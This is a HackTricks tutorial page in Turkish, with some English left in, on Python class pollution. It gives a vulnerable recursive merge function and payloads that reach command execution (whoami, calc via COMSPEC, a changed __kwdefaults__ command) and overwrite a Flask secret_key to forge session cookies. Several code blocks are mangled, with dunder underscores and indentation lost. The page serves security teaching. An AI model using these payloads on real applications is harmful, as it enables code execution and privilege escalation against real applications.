Class Pollution (Python's Prototype Pollution)

AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'ı desteklemenin diğer yolları:

Temel Örnek

Nesnelerin sınıflarını dizelerle nasıl kirletebileceğinizi kontrol edin:

class Company: pass
class Developer(Company): pass
class Entity(Developer): pass

c = Company()
d = Developer()
e = Entity()

print(c) #<__main__.Company object at 0x1043a72b0>
print(d) #<__main__.Developer object at 0x1041d2b80>
print(e) #<__main__.Entity object at 0x1041d2730>

e.__class__.__qualname__ = 'Polluted_Entity'

print(e) #<__main__.Polluted_Entity object at 0x1041d2730>

e.__class__.__base__.__qualname__ = 'Polluted_Developer'
e.__class__.__base__.__base__.__qualname__ = 'Polluted_Company'

print(d) #<__main__.Polluted_Developer object at 0x1041d2b80>
print(c) #<__main__.Polluted_Company object at 0x1043a72b0>

Temel Zayıflık Örneği

Consider the following Python code:

Aşağıdaki Python kodunu düşünün:

class User:
    def __init__(self, username, password):
        self.username = username
        self.password = password

    def login(self):
        # Code for logging in the user

    def logout(self):
        # Code for logging out the user

class Admin(User):
    def __init__(self, username, password):
        super().__init__(username, password)
        self.is_admin = False

    def promote_to_admin(self):
        self.is_admin = True

    def demote_from_admin(self):
        self.is_admin = False

In this code, we have a User class and an Admin class that inherits from the User class. The User class has an __init__ method to initialize the username and password attributes, as well as login and logout methods. The Admin class adds additional functionality with the promote_to_admin and demote_from_admin methods.

Bu kodda, User sınıfı ve User sınıfından türeyen Admin sınıfı bulunmaktadır. User sınıfı, username ve password özelliklerini başlatmak için __init__ yöntemine sahiptir ve ayrıca login ve logout yöntemlerine sahiptir. Admin sınıfı, promote_to_admin ve demote_from_admin yöntemleriyle ek işlevsellik ekler.

Now, let's say an attacker is able to manipulate the User class prototype and add a new method called delete_account:

Şimdi, bir saldırganın User sınıfının prototipini manipüle edebildiğini ve delete_account adında yeni bir yöntem ekleyebildiğini varsayalım:

User.__dict__["delete_account"] = lambda self: print("Account deleted!")

The attacker can then create an instance of the Admin class and call the delete_account method, even though it was not defined in the Admin class:

Saldırgan, Admin sınıfının bir örneğini oluşturabilir ve delete_account yöntemini çağırabilir, bu yöntem Admin sınıfında tanımlanmamış olsa bile:

admin = Admin("admin", "password")
admin.delete_account()  # Output: "Account deleted!"

This is an example of class pollution, where an attacker is able to modify the prototype of a class and add or modify its methods. In this case, the attacker was able to add a method to the User class and access it through an instance of the Admin class.

Bu, bir saldırganın bir sınıfın prototipini değiştirip yöntemlerini ekleyebileceği veya değiştirebileceği bir sınıf kirliliği örneğidir. Bu durumda, saldırgan User sınıfına bir yöntem ekleyebildi ve Admin sınıfının bir örneği üzerinden erişebildi.

# Initial state
class Employee: pass
emp = Employee()
print(vars(emp)) #{}

# Vulenrable function
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)


USER_INPUT = {
"name":"Ahemd",
"age": 23,
"manager":{
"name":"Sarah"
}
}

merge(USER_INPUT, emp)
print(vars(emp)) #{'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}

Örnek Gadget'lar

Sınıf özelliği varsayılan değerini RCE'ye (alt işlem) dönüştürme

```python from os import popen class Employee: pass # Creating an empty class class HR(Employee): pass # Class inherits from Employee class class Recruiter(HR): pass # Class inherits from HR class

class SystemAdmin(Employee): # Class inherits from Employee class def execute_command(self): command = self.custom_command if hasattr(self, 'custom_command') else 'echo Hello there' return f'[!] Executing: "{command}", output: "{popen(command).read().strip()}"'

def merge(src, dst):

Recursive merge function

for k, v in src.items(): if hasattr(dst, 'getitem'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)

USER_INPUT = { "class":{ "base":{ "base":{ "custom_command": "whoami" } } } }

recruiter_emp = Recruiter() system_admin_emp = SystemAdmin()

print(system_admin_emp.execute_command()) #> [!] Executing: "echo Hello there", output: "Hello there"

Create default value for Employee.custom_command

merge(USER_INPUT, recruiter_emp)

print(system_admin_emp.execute_command()) #> [!] Executing: "whoami", output: "abdulrah33m"

</details>

<details>

<summary><code>globals</code> aracılığıyla diğer sınıfları ve global değişkenleri kirletme</summary>
```python
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class User:
def __init__(self):
pass

class NotAccessibleClass: pass

not_accessible_variable = 'Hello'

merge({'__class__':{'__init__':{'__globals__':{'not_accessible_variable':'Polluted variable','NotAccessibleClass':{'__qualname__':'PollutedClass'}}}}}, User())

print(not_accessible_variable) #> Polluted variable
print(NotAccessibleClass) #> <class '__main__.PollutedClass'>
Rastgele alt işlem yürütme

```python import subprocess, json

class Employee: def init(self): pass

def merge(src, dst):

Recursive merge function

for k, v in src.items(): if hasattr(dst, 'getitem'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)

Overwrite env var "COMSPEC" to execute a calc

USER_INPUT = json.loads('{"init":{"globals":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value

merge(USER_INPUT, Employee())

subprocess.Popen('whoami', shell=True) # Calc.exe will pop up

</details>

<details>

<summary><strong><code>__kwdefaults__</code></strong> üzerine yazma</summary>

**`__kwdefaults__`**, tüm fonksiyonların özel bir özelliğidir. Python [belgelerine](https://docs.python.org/3/library/inspect.html) göre, bu özellik "yalnızca anahtar kelime parametreleri için herhangi bir varsayılan değerlerin bir eşlemesi"dir. Bu özelliği kirletmek, bir fonksiyonun yıldızlı (\*) veya \*args'ten sonra gelen anahtar kelime parametrelerinin varsayılan değerlerini kontrol etmemizi sağlar.
```python
from os import system
import json

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class Employee:
def __init__(self):
pass

def execute(*, command='whoami'):
print(f'Executing {command}')
system(command)

print(execute.__kwdefaults__) #> {'command': 'whoami'}
execute() #> Executing whoami
#> user

emp_info = json.loads('{"__class__":{"__init__":{"__globals__":{"execute":{"__kwdefaults__":{"command":"echo Polluted"}}}}}}') # attacker-controlled value
merge(emp_info, Employee())

print(execute.__kwdefaults__) #> {'command': 'echo Polluted'}
execute() #> Executing echo Polluted
#> Polluted
Flask gizli anahtarının farklı dosyalarda üzerine yazılması

Yani, webin ana python dosyasında tanımlanan ancak sınıfı ana dosyadan farklı bir dosyada tanımlanan bir nesne üzerinde sınıf kirliliği yapabilirseniz. Önceki payloadlarda __globals__'a erişmek için nesnenin sınıfına veya sınıfın yöntemlerine erişmeniz gerektiğinden, o dosyadaki globals'e erişebileceksiniz, ancak ana dosyadaki globals'e erişemeyeceksiniz. Bu nedenle, ana sayfada gizli anahtar'ı tanımlayan Flask uygulama global nesnesine erişemezsiniz:

app = Flask(__name__, template_folder='templates')
app.secret_key = '(:secret:)'

Bu senaryoda, Flask gizli anahtarını değiştirmek ve bu anahtarı bilerek ayrıcalıkları yükseltmek için ana dosyaya erişmek için dosyalara gezinmek için bir araca ihtiyacınız vardır. Bu aracı kullanarak, Flask gizli anahtarını değiştirebilir ve bu anahtarı bilerek ayrıcalıkları yükseltebilirsiniz.

Bu yazıdan bir örnek payload:

__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.secret_key

app.secret_key'i (uygulamanızdaki adı farklı olabilir) değiştirmek için bu payload'u kullanın, böylece yeni ve daha fazla yetkiye sahip flask çerezlerini imzalayabilirsiniz.

Ayrıca, daha fazla salt okunur gadget için aşağıdaki sayfayı da kontrol edin:

pagePython Internal Read Gadgets

Referanslar

AWS hackleme konusunda sıfırdan kahramana dönüşmek için htARTE (HackTricks AWS Red Team Expert)'ı öğrenin!

HackTricks'i desteklemenin diğer yolları:

Last updated